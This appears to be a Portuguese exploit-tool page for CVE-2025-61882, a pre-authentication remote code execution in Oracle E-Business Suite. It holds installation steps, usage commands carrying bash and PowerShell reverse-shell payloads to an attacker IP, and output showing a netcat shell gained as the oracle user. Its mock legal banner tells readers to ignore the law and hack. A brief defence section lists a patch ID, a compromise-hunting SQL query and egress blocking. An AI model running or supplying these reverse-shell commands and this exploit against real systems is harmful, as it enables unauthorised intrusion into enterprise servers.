CVE-2025-61882-POC — Exploit para CVE-2025-61882, uma RCE crítica pré-autenticação no Oracle E-Business Suite. Combina SSRF, injeção CRLF, contrabando HTTP e injeção XSLT para execução remota de código não autenticada. | Kitploit

Ferramenta de Teste de Segurança CVE-2025-61882

🚨 AVISO LEGAL CRÍTICO

Veja nossa postagem no blog para detalhes técnicos

ESTA FERRAMENTA É APENAS PARA TESTES DE SEGURANÇA AUTORIZADOS

╔══════════════════════════════════════════════════════════════╗
║                                                              ║
║  🚨 ACESSO NÃO AUTORIZADO A SISTEMAS DE COMPUTADOR É ILEGAL 🚨   ║
║                                                              ║
║  Ao usar esta ferramenta, você reconhece e concorda que:         ║
║                                                              ║
║                                                              ║
║                 F0DA-SE ISSO, APENAS EXECUTE E HACKEIE                   ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
║                                                              ║
╚══════════════════════════════════════════════════════════════╝

# Clone o repositório
git clone https://github.com/[SEU-USUARIO]/CVE-2025-61882-POC
cd CVE-2025-61882-POC

# Instale as dependências
pip3 install -r requirements.txt

# Torne o script executável (Linux/Mac)
chmod +x cve-2025-61882-detector.py

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'bash -i >& /dev/tcp/192.168.1.10/4444 0>&1' \
  --platform linux

python3 cve-2025-61882-detector.py \
  --target http://192.168.1.22:8000 \
  --lhost 192.168.1.10 \
  --lport 80 \
  --command 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\"192.168.1.10\",4444)"' \
  --platform windows

Parâmetro	Descrição	Obrigatório	Exemplo
`--target`	URL do Oracle EBS alvo	Sim	`http://192.168.1.22:8000`
`--lhost`	Seu endereço IP (para callbacks)	Sim	`192.168.1.10`
`--lport`	Porta do servidor HTTP (serve payload XSL)	Sim	`80` ou `8080`
`--command`	Comando a ser executado no alvo	Sim	Veja exemplos acima
`--platform`	SO alvo: `linux` ou `windows`	Sim	`linux`

[*] Target URL:    http://192.168.1.22:8000
[*] Listener IP:   192.168.1.10
[*] Listener Port: 80
[*] Platform:      linux

[*] HTTP server started on 192.168.1.10:80
[*] Connecting to target to retrieve CSRF token...
[*] CSRF TOKEN: WLDW-GNFH-MB4K-76EA-JB48-VY3X-L30R-NZT0
[*] Cooking HTTP smuggle stub...
[*] Sending exploit payload...
[*] Exploit payload sent successfully

[+] 192.168.1.22 - GET /OA_HTML/help/../ieshostedsurvey.xsl HTTP/1.1
[+] XSL payload served successfully

ubuntu@attacker:~$ nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.1.22 30290
bash: no job control in this shell
[oracle@apps EBS_domain]$ id
uid=54321(oracle) gid=54321(oinstall) groups=54321(oinstall)
[oracle@apps EBS_domain]$

Aplicar Patch de Emergência Oracle (ID do Documento: 30061882.1)

Buscar por Comprometimento:

SELECT * FROM XDO_TEMPLATES_B 
WHERE TEMPLATE_CODE LIKE 'TMP%' OR TEMPLATE_CODE LIKE 'DEF%';

Revisar Logs de Acesso desde agosto de 2025
Bloquear internet de saída dos servidores EBS

Mais Populares

CVE-2025-61882-POC

📋 Visão Geral

Detalhes da Vulnerabilidade

Resumo Técnico

🎯 Casos de Uso Pretendidos

✅ Uso Aceitável

❌ Uso Proibido

📦 Instalação

Pré-requisitos

Configuração

🚀 Uso

Passo 1: Configure Seu Ouvinte

Passo 2: Execute a Ferramenta

Parâmetros

📊 Exemplo de Saída

Saída da Ferramenta

Saída do Ouvinte Netcat (Se Vulnerável)

🛡️ Detecção e Defesa

Para Defensores de Segurança

Ações Imediatas

Indicadores de Detecção

📚 Referências

📜 Licença